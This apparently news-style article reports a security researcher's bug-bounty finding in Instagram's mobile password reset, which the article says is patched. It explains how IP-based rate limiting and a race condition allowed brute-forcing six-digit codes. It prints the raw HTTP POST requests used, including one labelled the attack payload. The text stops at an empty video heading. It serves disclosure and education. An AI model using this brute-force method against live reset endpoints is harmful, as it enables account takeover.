Laxman Muthiyah, an Indian security researcher, earned $30,000 for finding a serious flaw in the Instagram password reset mechanism. If exploited, the flaw would have let an attacker gain control over any Instagram account in 10 minutes with an investment of approximately $150. The flaw was immediately patched but it again proved how efficient a simple web attack can be.
Mobile Password Reset
The Instagram mobile password reset mechanism worked in the following way:
- When an Instagram user requests a password reset, they obtain a 6-digit security code to their mobile number.
- The security code is valid for 10 minutes.
- The security code must be entered using a web form (a simple POST request).
A 6-digit security code has only one million possible combinations. If there was no rate limiting, an attacker should be able to send a million requests with all possible combinations in 10 minutes to obtain access to any account. Instagram had rate limiting but it was not effective enough.
Laxman discovered several issues with the Instagram mobile password reset mechanism that made it possible to create a proof-of-concept attack:
- There was a rate-limiting mechanism in place but it was IP-based, not account-based. That meant that as long as different IP addresses were used, the attacker could send a million requests in 10 minutes.
- It was possible to send approximately 200 requests from a single IP because rate-limiting was also susceptible to a race condition.
The proof of concept attack involved using a PHP script and 1000 Amazon EC2 instances to achieve different source addresses and send 20% possible code combinations. The HTTP
POST requests involved in the attack were as follows:
To request the code:
POST /api/v1/users/lookup/ HTTP/1.1 User-Agent: Instagram 188.8.131.52.114 Android (27/8.1.0; 440dpi; 1080×2150; Xiaomi/xiaomi; Redmi Note 6 Pro; tulip; qcom; en_IN; 152830654) Accept-Language: en-IN, en-US Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Host: i.instagram.com Connection: keep-alive q=mobile_number&device_id=android_device_id
The attack payload:
POST /api/v1/accounts/account_recovery_code_verify/ HTTP/1.1 User-Agent: Instagram 184.108.40.206.114 Android (27/8.1.0; 440dpi; 1080×2150; Xiaomi/xiaomi; Redmi Note 6 Pro; tulip; qcom; en_IN; 152830654) Accept-Language: en-IN, en-US Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Accept-Encoding: gzip, deflate Host: i.instagram.com Connection: keep-alive recover_code=code&device_id=android_device_id
The proof-of-concept attack video: